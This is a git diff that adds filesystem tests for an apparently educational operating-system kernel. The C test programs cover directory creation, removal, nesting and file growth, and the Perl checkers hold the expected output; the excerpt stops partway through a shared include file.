diff --git a/src/tests/filesys/extended/dir-mkdir-persistence.ck b/src/tests/filesys/extended/dir-mkdir-persistence.ck
new file mode 100644
index 0000000..7682900
--- /dev/null
+++ b/src/tests/filesys/extended/dir-mkdir-persistence.ck
@@ -0,0 +1,6 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_archive ({'a' => {'b' => ["\0" x 512]}});
+pass;
diff --git a/src/tests/filesys/extended/dir-mkdir.c b/src/tests/filesys/extended/dir-mkdir.c
new file mode 100644
index 0000000..994f41c
--- /dev/null
+++ b/src/tests/filesys/extended/dir-mkdir.c
@@ -0,0 +1,15 @@
+/* Tests mkdir(). */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ CHECK (mkdir ("a"), "mkdir \"a\"");
+ CHECK (create ("a/b", 512), "create \"a/b\"");
+ CHECK (chdir ("a"), "chdir \"a\"");
+ CHECK (open ("b") > 1, "open \"b\"");
+}
+
diff --git a/src/tests/filesys/extended/dir-mkdir.ck b/src/tests/filesys/extended/dir-mkdir.ck
new file mode 100644
index 0000000..4644f80
--- /dev/null
+++ b/src/tests/filesys/extended/dir-mkdir.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(dir-mkdir) begin
+(dir-mkdir) mkdir "a"
+(dir-mkdir) create "a/b"
+(dir-mkdir) chdir "a"
+(dir-mkdir) open "b"
+(dir-mkdir) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/dir-open-persistence.ck b/src/tests/filesys/extended/dir-open-persistence.ck
new file mode 100644
index 0000000..26ff2f1
--- /dev/null
+++ b/src/tests/filesys/extended/dir-open-persistence.ck
@@ -0,0 +1,6 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_archive ({"xyzzy" => {}});
+pass;
diff --git a/src/tests/filesys/extended/dir-open.c b/src/tests/filesys/extended/dir-open.c
new file mode 100644
index 0000000..29d18b8
--- /dev/null
+++ b/src/tests/filesys/extended/dir-open.c
@@ -0,0 +1,21 @@
+/* Opens a directory, then tries to write to it, which must
+ fail. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int fd;
+ int retval;
+
+ CHECK (mkdir ("xyzzy"), "mkdir \"xyzzy\"");
+ CHECK ((fd = open ("xyzzy")) > 1, "open \"xyzzy\"");
+
+ msg ("write \"xyzzy\"");
+ retval = write (fd, "foobar", 6);
+ CHECK (retval == -1,
+ "write \"xyzzy\" (must return -1, actually %d)", retval);
+}
diff --git a/src/tests/filesys/extended/dir-open.ck b/src/tests/filesys/extended/dir-open.ck
new file mode 100644
index 0000000..fccc563
--- /dev/null
+++ b/src/tests/filesys/extended/dir-open.ck
@@ -0,0 +1,20 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(dir-open) begin
+(dir-open) mkdir "xyzzy"
+(dir-open) open "xyzzy"
+(dir-open) write "xyzzy"
+(dir-open) write "xyzzy" (must return -1, actually -1)
+(dir-open) end
+dir-open: exit(0)
+EOF
+(dir-open) begin
+(dir-open) mkdir "xyzzy"
+(dir-open) open "xyzzy"
+(dir-open) write "xyzzy"
+dir-open: exit(-1)
+EOF
+pass;
diff --git a/src/tests/filesys/extended/dir-over-file-persistence.ck b/src/tests/filesys/extended/dir-over-file-persistence.ck
new file mode 100644
index 0000000..56b4ed2
--- /dev/null
+++ b/src/tests/filesys/extended/dir-over-file-persistence.ck
@@ -0,0 +1,6 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_archive ({"abc" => {}});
+pass;
diff --git a/src/tests/filesys/extended/dir-over-file.c b/src/tests/filesys/extended/dir-over-file.c
new file mode 100644
index 0000000..cdd2c62
--- /dev/null
+++ b/src/tests/filesys/extended/dir-over-file.c
@@ -0,0 +1,13 @@
+/* Tries to create a file with the same name as an existing
+ directory, which must return failure. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ CHECK (mkdir ("abc"), "mkdir \"abc\"");
+ CHECK (!create ("abc", 0), "create \"abc\" (must return false)");
+}
diff --git a/src/tests/filesys/extended/dir-over-file.ck b/src/tests/filesys/extended/dir-over-file.ck
new file mode 100644
index 0000000..aae1c1e
--- /dev/null
+++ b/src/tests/filesys/extended/dir-over-file.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(dir-over-file) begin
+(dir-over-file) mkdir "abc"
+(dir-over-file) create "abc" (must return false)
+(dir-over-file) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/dir-rm-cwd-persistence.ck b/src/tests/filesys/extended/dir-rm-cwd-persistence.ck
new file mode 100644
index 0000000..7533570
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-cwd-persistence.ck
@@ -0,0 +1,8 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+my ($cwd_removable) = read_text_file ("tests/filesys/extended/can-rmdir-cwd");
+$cwd_removable eq 'YES' || $cwd_removable eq 'NO' or die;
+check_archive ($cwd_removable eq 'YES' ? {} : {"a" => {}});
+pass;
diff --git a/src/tests/filesys/extended/dir-rm-cwd.c b/src/tests/filesys/extended/dir-rm-cwd.c
new file mode 100644
index 0000000..78e13de
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-cwd.c
@@ -0,0 +1,75 @@
+/* Tries to remove the current directory, which may succeed or
+ fail. The requirements in each case are different; refer to
+ the assignment for details. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+static int
+wrap_open (const char *name)
+{
+ static int fds[8], fd_cnt;
+ int fd, i;
+
+ CHECK ((fd = open (name)) > 1, "open \"%s\"", name);
+ for (i = 0; i < fd_cnt; i++)
+ if (fds[i] == fd)
+ fail ("fd returned is not unique");
+ fds[fd_cnt++] = fd;
+ return fd;
+}
+
+void
+test_main (void)
+{
+ int root_fd, a_fd0;
+ char name[READDIR_MAX_LEN + 1];
+
+ root_fd = wrap_open ("/");
+ CHECK (mkdir ("a"), "mkdir \"a\"");
+
+ a_fd0 = wrap_open ("/a");
+ CHECK (!readdir (a_fd0, name), "verify \"/a\" is empty");
+ CHECK (inumber (root_fd) != inumber (a_fd0),
+ "\"/\" and \"/a\" must have different inumbers");
+
+ CHECK (chdir ("a"), "chdir \"a\"");
+
+ msg ("try to remove \"/a\"");
+ if (remove ("/a"))
+ {
+ msg ("remove successful");
+
+ CHECK (open ("/a") == -1, "open \"/a\" (must fail)");
+ CHECK (open (".") == -1, "open \".\" (must fail)");
+ CHECK (open ("..") == -1, "open \"..\" (must fail)");
+ CHECK (!create ("x", 512), "create \"x\" (must fail)");
+ }
+ else
+ {
+ int a_fd1, a_fd2, a_fd3;
+
+ msg ("remove failed");
+
+ CHECK (!remove ("../a"), "try to remove \"../a\" (must fail)");
+ CHECK (!remove (".././a"), "try to remove \".././a\" (must fail)");
+ CHECK (!remove ("/./a"), "try to remove \"/./a\" (must fail)");
+
+ a_fd1 = wrap_open ("/a");
+ a_fd2 = wrap_open (".");
+ CHECK (inumber (a_fd1) == inumber (a_fd2),
+ "\"/a\" and \".\" must have same inumber");
+ CHECK (inumber (root_fd) != inumber (a_fd1),
+ "\"/\" and \"/a\" must have different inumbers");
+
+ CHECK (chdir ("/a"), "chdir \"/a\"");
+ a_fd3 = wrap_open (".");
+ CHECK (inumber (a_fd3) == inumber (a_fd1),
+ "\".\" must have same inumber as before");
+
+ CHECK (chdir ("/"), "chdir \"/\"");
+ CHECK (!remove ("a"), "try to remove \"a\" (must fail: still open)");
+ }
+ CHECK (!readdir (a_fd0, name), "verify \"/a\" is empty");
+}
diff --git a/src/tests/filesys/extended/dir-rm-cwd.ck b/src/tests/filesys/extended/dir-rm-cwd.ck
new file mode 100644
index 0000000..6fa4739
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-cwd.ck
@@ -0,0 +1,51 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+my ($cwd_removable) = check_expected (IGNORE_EXIT_CODES => 1,
+ {NO => <<'EOF', YES => <<'EOF'});
+(dir-rm-cwd) begin
+(dir-rm-cwd) open "/"
+(dir-rm-cwd) mkdir "a"
+(dir-rm-cwd) open "/a"
+(dir-rm-cwd) verify "/a" is empty
+(dir-rm-cwd) "/" and "/a" must have different inumbers
+(dir-rm-cwd) chdir "a"
+(dir-rm-cwd) try to remove "/a"
+(dir-rm-cwd) remove failed
+(dir-rm-cwd) try to remove "../a" (must fail)
+(dir-rm-cwd) try to remove ".././a" (must fail)
+(dir-rm-cwd) try to remove "/./a" (must fail)
+(dir-rm-cwd) open "/a"
+(dir-rm-cwd) open "."
+(dir-rm-cwd) "/a" and "." must have same inumber
+(dir-rm-cwd) "/" and "/a" must have different inumbers
+(dir-rm-cwd) chdir "/a"
+(dir-rm-cwd) open "."
+(dir-rm-cwd) "." must have same inumber as before
+(dir-rm-cwd) chdir "/"
+(dir-rm-cwd) try to remove "a" (must fail: still open)
+(dir-rm-cwd) verify "/a" is empty
+(dir-rm-cwd) end
+EOF
+(dir-rm-cwd) begin
+(dir-rm-cwd) open "/"
+(dir-rm-cwd) mkdir "a"
+(dir-rm-cwd) open "/a"
+(dir-rm-cwd) verify "/a" is empty
+(dir-rm-cwd) "/" and "/a" must have different inumbers
+(dir-rm-cwd) chdir "a"
+(dir-rm-cwd) try to remove "/a"
+(dir-rm-cwd) remove successful
+(dir-rm-cwd) open "/a" (must fail)
+(dir-rm-cwd) open "." (must fail)
+(dir-rm-cwd) open ".." (must fail)
+(dir-rm-cwd) create "x" (must fail)
+(dir-rm-cwd) verify "/a" is empty
+(dir-rm-cwd) end
+EOF
+open (CAN_RMDIR_CWD, ">tests/filesys/extended/can-rmdir-cwd")
+ or die "tests/filesys/extended/can-rmdir-cwd: create: $!\n";
+print CAN_RMDIR_CWD "$cwd_removable";
+close (CAN_RMDIR_CWD);
+pass;
diff --git a/src/tests/filesys/extended/dir-rm-parent-persistence.ck b/src/tests/filesys/extended/dir-rm-parent-persistence.ck
new file mode 100644
index 0000000..f30b04a
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-parent-persistence.ck
@@ -0,0 +1,6 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_archive ({"a" => {"b" => {}}});
+pass;
diff --git a/src/tests/filesys/extended/dir-rm-parent.c b/src/tests/filesys/extended/dir-rm-parent.c
new file mode 100644
index 0000000..eb43f5b
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-parent.c
@@ -0,0 +1,16 @@
+/* Tries to remove a parent of the current directory. This must
+ fail, because that directory is non-empty. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ CHECK (mkdir ("a"), "mkdir \"a\"");
+ CHECK (chdir ("a"), "chdir \"a\"");
+ CHECK (mkdir ("b"), "mkdir \"b\"");
+ CHECK (chdir ("b"), "chdir \"b\"");
+ CHECK (!remove ("/a"), "remove \"/a\" (must fail)");
+}
diff --git a/src/tests/filesys/extended/dir-rm-parent.ck b/src/tests/filesys/extended/dir-rm-parent.ck
new file mode 100644
index 0000000..9fea8f2
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-parent.ck
@@ -0,0 +1,14 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(dir-rm-parent) begin
+(dir-rm-parent) mkdir "a"
+(dir-rm-parent) chdir "a"
+(dir-rm-parent) mkdir "b"
+(dir-rm-parent) chdir "b"
+(dir-rm-parent) remove "/a" (must fail)
+(dir-rm-parent) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/dir-rm-root-persistence.ck b/src/tests/filesys/extended/dir-rm-root-persistence.ck
new file mode 100644
index 0000000..6315107
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-root-persistence.ck
@@ -0,0 +1,6 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_archive ({"a" => ["\0" x 243]});
+pass;
diff --git a/src/tests/filesys/extended/dir-rm-root.c b/src/tests/filesys/extended/dir-rm-root.c
new file mode 100644
index 0000000..c47f1eb
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-root.c
@@ -0,0 +1,13 @@
+/* Try to remove the root directory.
+ This must fail. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ CHECK (!remove ("/"), "remove \"/\" (must fail)");
+ CHECK (create ("/a", 243), "create \"/a\"");
+}
diff --git a/src/tests/filesys/extended/dir-rm-root.ck b/src/tests/filesys/extended/dir-rm-root.ck
new file mode 100644
index 0000000..8a69ff3
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-root.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(dir-rm-root) begin
+(dir-rm-root) remove "/" (must fail)
+(dir-rm-root) create "/a"
+(dir-rm-root) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/dir-rm-tree-persistence.ck b/src/tests/filesys/extended/dir-rm-tree-persistence.ck
new file mode 100644
index 0000000..562c451
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-tree-persistence.ck
@@ -0,0 +1,6 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_archive ({});
+pass;
diff --git a/src/tests/filesys/extended/dir-rm-tree.c b/src/tests/filesys/extended/dir-rm-tree.c
new file mode 100644
index 0000000..bab41a6
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-tree.c
@@ -0,0 +1,62 @@
+/* Creates directories /0/0/0 through /3/2/2 and files in the
+ leaf directories, then removes them. */
+
+#include <stdarg.h>
+#include <stdio.h>
+#include <syscall.h>
+#include "tests/filesys/extended/mk-tree.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+static void remove_tree (int at, int bt, int ct, int dt);
+
+void
+test_main (void)
+{
+ make_tree (4, 3, 3, 4);
+ remove_tree (4, 3, 3, 4);
+}
+
+static void do_remove (const char *format, ...) PRINTF_FORMAT (1, 2);
+
+static void
+remove_tree (int at, int bt, int ct, int dt)
+{
+ char try[128];
+ int a, b, c, d;
+
+ msg ("removing /0/0/0/0 through /%d/%d/%d/%d...",
+ at - 1, bt - 1, ct - 1, dt - 1);
+ quiet = true;
+ for (a = 0; a < at; a++)
+ {
+ for (b = 0; b < bt; b++)
+ {
+ for (c = 0; c < ct; c++)
+ {
+ for (d = 0; d < dt; d++)
+ do_remove ("/%d/%d/%d/%d", a, b, c, d);
+ do_remove ("/%d/%d/%d", a, b, c);
+ }
+ do_remove ("/%d/%d", a, b);
+ }
+ do_remove ("/%d", a);
+ }
+ quiet = false;
+
+ snprintf (try, sizeof (try), "/%d/%d/%d/%d", at - 1, 0, ct - 1, 0);
+ CHECK (open (try) == -1, "open \"%s\" (must return -1)", try);
+}
+
+static void
+do_remove (const char *format, ...)
+{
+ char name[128];
+ va_list args;
+
+ va_start (args, format);
+ vsnprintf (name, sizeof name, format, args);
+ va_end (args);
+
+ CHECK (remove (name), "remove \"%s\"", name);
+}
diff --git a/src/tests/filesys/extended/dir-rm-tree.ck b/src/tests/filesys/extended/dir-rm-tree.ck
new file mode 100644
index 0000000..587b493
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rm-tree.ck
@@ -0,0 +1,14 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(dir-rm-tree) begin
+(dir-rm-tree) creating /0/0/0/0 through /3/2/2/3...
+(dir-rm-tree) open "/0/2/0/3"
+(dir-rm-tree) close "/0/2/0/3"
+(dir-rm-tree) removing /0/0/0/0 through /3/2/2/3...
+(dir-rm-tree) open "/3/0/2/0" (must return -1)
+(dir-rm-tree) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/dir-rmdir-persistence.ck b/src/tests/filesys/extended/dir-rmdir-persistence.ck
new file mode 100644
index 0000000..562c451
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rmdir-persistence.ck
@@ -0,0 +1,6 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_archive ({});
+pass;
diff --git a/src/tests/filesys/extended/dir-rmdir.c b/src/tests/filesys/extended/dir-rmdir.c
new file mode 100644
index 0000000..b3cbc6f
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rmdir.c
@@ -0,0 +1,14 @@
+/* Creates and removes a directory, then makes sure that it's
+ really gone. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ CHECK (mkdir ("a"), "mkdir \"a\"");
+ CHECK (remove ("a"), "rmdir \"a\"");
+ CHECK (!chdir ("a"), "chdir \"a\" (must return false)");
+}
diff --git a/src/tests/filesys/extended/dir-rmdir.ck b/src/tests/filesys/extended/dir-rmdir.ck
new file mode 100644
index 0000000..e0d8922
--- /dev/null
+++ b/src/tests/filesys/extended/dir-rmdir.ck
@@ -0,0 +1,12 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(dir-rmdir) begin
+(dir-rmdir) mkdir "a"
+(dir-rmdir) rmdir "a"
+(dir-rmdir) chdir "a" (must return false)
+(dir-rmdir) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/dir-under-file-persistence.ck b/src/tests/filesys/extended/dir-under-file-persistence.ck
new file mode 100644
index 0000000..67ca528
--- /dev/null
+++ b/src/tests/filesys/extended/dir-under-file-persistence.ck
@@ -0,0 +1,6 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_archive ({"abc" => ['']});
+pass;
diff --git a/src/tests/filesys/extended/dir-under-file.c b/src/tests/filesys/extended/dir-under-file.c
new file mode 100644
index 0000000..973a8b1
--- /dev/null
+++ b/src/tests/filesys/extended/dir-under-file.c
@@ -0,0 +1,13 @@
+/* Tries to create a directory with the same name as an existing
+ file, which must return failure. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ CHECK (create ("abc", 0), "create \"abc\"");
+ CHECK (!mkdir ("abc"), "mkdir \"abc\" (must return false)");
+}
diff --git a/src/tests/filesys/extended/dir-under-file.ck b/src/tests/filesys/extended/dir-under-file.ck
new file mode 100644
index 0000000..cce23b4
--- /dev/null
+++ b/src/tests/filesys/extended/dir-under-file.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(dir-under-file) begin
+(dir-under-file) create "abc"
+(dir-under-file) mkdir "abc" (must return false)
+(dir-under-file) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/dir-vine-persistence.ck b/src/tests/filesys/extended/dir-vine-persistence.ck
new file mode 100644
index 0000000..698ef01
--- /dev/null
+++ b/src/tests/filesys/extended/dir-vine-persistence.ck
@@ -0,0 +1,37 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+# The archive should look like this:
+#
+# 40642 dir-vine
+# 42479 tar
+# 0 start
+# 11 start/file0
+# 0 start/dir0
+# 11 start/dir0/file1
+# 0 start/dir0/dir1
+# 11 start/dir0/dir1/file2
+# 0 start/dir0/dir1/dir2
+# 11 start/dir0/dir1/dir2/file3
+# 0 start/dir0/dir1/dir2/dir3
+# 11 start/dir0/dir1/dir2/dir3/file4
+# 0 start/dir0/dir1/dir2/dir3/dir4
+# 11 start/dir0/dir1/dir2/dir3/dir4/file5
+# 0 start/dir0/dir1/dir2/dir3/dir4/dir5
+# 11 start/dir0/dir1/dir2/dir3/dir4/dir5/file6
+# 0 start/dir0/dir1/dir2/dir3/dir4/dir5/dir6
+# 11 start/dir0/dir1/dir2/dir3/dir4/dir5/dir6/file7
+# 0 start/dir0/dir1/dir2/dir3/dir4/dir5/dir6/dir7
+# 11 start/dir0/dir1/dir2/dir3/dir4/dir5/dir6/dir7/file8
+# 0 start/dir0/dir1/dir2/dir3/dir4/dir5/dir6/dir7/dir8
+# 11 start/dir0/dir1/dir2/dir3/dir4/dir5/dir6/dir7/dir8/file9
+# 0 start/dir0/dir1/dir2/dir3/dir4/dir5/dir6/dir7/dir8/dir9
+my ($dir) = {};
+my ($root) = {"start" => $dir};
+for (my ($i) = 0; $i < 10; $i++) {
+ $dir->{"file$i"} = ["contents $i\n"];
+ $dir = $dir->{"dir$i"} = {};
+}
+check_archive ($root);
+pass;
diff --git a/src/tests/filesys/extended/dir-vine.c b/src/tests/filesys/extended/dir-vine.c
new file mode 100644
index 0000000..8a31c38
--- /dev/null
+++ b/src/tests/filesys/extended/dir-vine.c
@@ -0,0 +1,85 @@
+/* Create a very deep "vine" of directories: /dir0/dir1/dir2/...
+ and an ordinary file in each of them, until we fill up the
+ disk.
+
+ Then delete most of them, for two reasons. First, "tar"
+ limits file names to 100 characters (which could be extended
+ to 256 without much trouble). Second, a full disk has no room
+ for the tar archive. */
+
+#include <string.h>
+#include <stdio.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int i;
+
+ msg ("creating many levels of files and directories...");
+ quiet = true;
+ CHECK (mkdir ("start"), "mkdir \"start\"");
+ CHECK (chdir ("start"), "chdir \"start\"");
+ for (i = 0; ; i++)
+ {
+ char name[3][READDIR_MAX_LEN + 1];
+ char file_name[16], dir_name[16];
+ char contents[128];
+ int fd;
+
+ /* Create file. */
+ snprintf (file_name, sizeof file_name, "file%d", i);
+ if (!create (file_name, 0))
+ break;
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\"", file_name);
+ snprintf (contents, sizeof contents, "contents %d\n", i);
+ if (write (fd, contents, strlen (contents)) != (int) strlen (contents))
+ {
+ CHECK (remove (file_name), "remove \"%s\"", file_name);
+ close (fd);
+ break;
+ }
+ close (fd);
+
+ /* Create directory. */
+ snprintf (dir_name, sizeof dir_name, "dir%d", i);
+ if (!mkdir (dir_name))
+ {
+ CHECK (remove (file_name), "remove \"%s\"", file_name);
+ break;
+ }
+
+ /* Check for file and directory. */
+ CHECK ((fd = open (".")) > 1, "open \".\"");
+ CHECK (readdir (fd, name[0]), "readdir \".\"");
+ CHECK (readdir (fd, name[1]), "readdir \".\"");
+ CHECK (!readdir (fd, name[2]), "readdir \".\" (should fail)");
+ CHECK ((!strcmp (name[0], dir_name) && !strcmp (name[1], file_name))
+ || (!strcmp (name[1], dir_name) && !strcmp (name[0], file_name)),
+ "names should be \"%s\" and \"%s\", "
+ "actually \"%s\" and \"%s\"",
+ file_name, dir_name, name[0], name[1]);
+ close (fd);
+
+ /* Descend into directory. */
+ CHECK (chdir (dir_name), "chdir \"%s\"", dir_name);
+ }
+ CHECK (i > 200, "created files and directories only to level %d", i);
+ quiet = false;
+
+ msg ("removing all but top 10 levels of files and directories...");
+ quiet = true;
+ while (i-- > 10)
+ {
+ char file_name[16], dir_name[16];
+
+ snprintf (file_name, sizeof file_name, "file%d", i);
+ snprintf (dir_name, sizeof dir_name, "dir%d", i);
+ CHECK (chdir (".."), "chdir \"..\"");
+ CHECK (remove (dir_name), "remove \"%s\"", dir_name);
+ CHECK (remove (file_name), "remove \"%s\"", file_name);
+ }
+ quiet = false;
+}
diff --git a/src/tests/filesys/extended/dir-vine.ck b/src/tests/filesys/extended/dir-vine.ck
new file mode 100644
index 0000000..db452b0
--- /dev/null
+++ b/src/tests/filesys/extended/dir-vine.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(dir-vine) begin
+(dir-vine) creating many levels of files and directories...
+(dir-vine) removing all but top 10 levels of files and directories...
+(dir-vine) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/grow-create-persistence.ck b/src/tests/filesys/extended/grow-create-persistence.ck
new file mode 100644
index 0000000..bbcb24f
--- /dev/null
+++ b/src/tests/filesys/extended/grow-create-persistence.ck
@@ -0,0 +1,6 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_archive ({"blargle" => ['']});
+pass;
diff --git a/src/tests/filesys/extended/grow-create.c b/src/tests/filesys/extended/grow-create.c
new file mode 100644
index 0000000..9ccc4ea
--- /dev/null
+++ b/src/tests/filesys/extended/grow-create.c
@@ -0,0 +1,4 @@
+/* Create a file of size 0. */
+
+#define TEST_SIZE 0
+#include "tests/filesys/create.inc"
diff --git a/src/tests/filesys/extended/grow-create.ck b/src/tests/filesys/extended/grow-create.ck
new file mode 100644
index 0000000..b2e69d1
--- /dev/null
+++ b/src/tests/filesys/extended/grow-create.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(grow-create) begin
+(grow-create) create "blargle"
+(grow-create) open "blargle" for verification
+(grow-create) verified contents of "blargle"
+(grow-create) close "blargle"
+(grow-create) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/grow-dir-lg-persistence.ck b/src/tests/filesys/extended/grow-dir-lg-persistence.ck
new file mode 100644
index 0000000..989a322
--- /dev/null
+++ b/src/tests/filesys/extended/grow-dir-lg-persistence.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+my ($fs);
+$fs->{'x'}{"file$_"} = [random_bytes (512)] foreach 0...49;
+check_archive ($fs);
+pass;
diff --git a/src/tests/filesys/extended/grow-dir-lg.c b/src/tests/filesys/extended/grow-dir-lg.c
new file mode 100644
index 0000000..20a194b
--- /dev/null
+++ b/src/tests/filesys/extended/grow-dir-lg.c
@@ -0,0 +1,6 @@
+/* Creates a directory,
+ then creates 50 files in that directory. */
+
+#define FILE_CNT 50
+#define DIRECTORY "/x"
+#include "tests/filesys/extended/grow-dir.inc"
diff --git a/src/tests/filesys/extended/grow-dir-lg.ck b/src/tests/filesys/extended/grow-dir-lg.ck
new file mode 100644
index 0000000..ec58bd3
--- /dev/null
+++ b/src/tests/filesys/extended/grow-dir-lg.ck
@@ -0,0 +1,61 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(grow-dir-lg) begin
+(grow-dir-lg) mkdir /x
+(grow-dir-lg) creating and checking "/x/file0"
+(grow-dir-lg) creating and checking "/x/file1"
+(grow-dir-lg) creating and checking "/x/file2"
+(grow-dir-lg) creating and checking "/x/file3"
+(grow-dir-lg) creating and checking "/x/file4"
+(grow-dir-lg) creating and checking "/x/file5"
+(grow-dir-lg) creating and checking "/x/file6"
+(grow-dir-lg) creating and checking "/x/file7"
+(grow-dir-lg) creating and checking "/x/file8"
+(grow-dir-lg) creating and checking "/x/file9"
+(grow-dir-lg) creating and checking "/x/file10"
+(grow-dir-lg) creating and checking "/x/file11"
+(grow-dir-lg) creating and checking "/x/file12"
+(grow-dir-lg) creating and checking "/x/file13"
+(grow-dir-lg) creating and checking "/x/file14"
+(grow-dir-lg) creating and checking "/x/file15"
+(grow-dir-lg) creating and checking "/x/file16"
+(grow-dir-lg) creating and checking "/x/file17"
+(grow-dir-lg) creating and checking "/x/file18"
+(grow-dir-lg) creating and checking "/x/file19"
+(grow-dir-lg) creating and checking "/x/file20"
+(grow-dir-lg) creating and checking "/x/file21"
+(grow-dir-lg) creating and checking "/x/file22"
+(grow-dir-lg) creating and checking "/x/file23"
+(grow-dir-lg) creating and checking "/x/file24"
+(grow-dir-lg) creating and checking "/x/file25"
+(grow-dir-lg) creating and checking "/x/file26"
+(grow-dir-lg) creating and checking "/x/file27"
+(grow-dir-lg) creating and checking "/x/file28"
+(grow-dir-lg) creating and checking "/x/file29"
+(grow-dir-lg) creating and checking "/x/file30"
+(grow-dir-lg) creating and checking "/x/file31"
+(grow-dir-lg) creating and checking "/x/file32"
+(grow-dir-lg) creating and checking "/x/file33"
+(grow-dir-lg) creating and checking "/x/file34"
+(grow-dir-lg) creating and checking "/x/file35"
+(grow-dir-lg) creating and checking "/x/file36"
+(grow-dir-lg) creating and checking "/x/file37"
+(grow-dir-lg) creating and checking "/x/file38"
+(grow-dir-lg) creating and checking "/x/file39"
+(grow-dir-lg) creating and checking "/x/file40"
+(grow-dir-lg) creating and checking "/x/file41"
+(grow-dir-lg) creating and checking "/x/file42"
+(grow-dir-lg) creating and checking "/x/file43"
+(grow-dir-lg) creating and checking "/x/file44"
+(grow-dir-lg) creating and checking "/x/file45"
+(grow-dir-lg) creating and checking "/x/file46"
+(grow-dir-lg) creating and checking "/x/file47"
+(grow-dir-lg) creating and checking "/x/file48"
+(grow-dir-lg) creating and checking "/x/file49"
+(grow-dir-lg) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/grow-dir.inc b/src/tests/filesys/extended/grow-dir.inc
new file mode 100644
index 0000000..bee0ba0
--- /dev/null
+++ b/src/tests/filesys/extended/grow-dir.inc
@@ -0,0 +1,41 @@
+/* -*- c -*- */
+
+#include <syscall.h>
+#include <stdio.h>
+#include "tests/filesys/seq-test.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+static char buf[512];
+
+static size_t
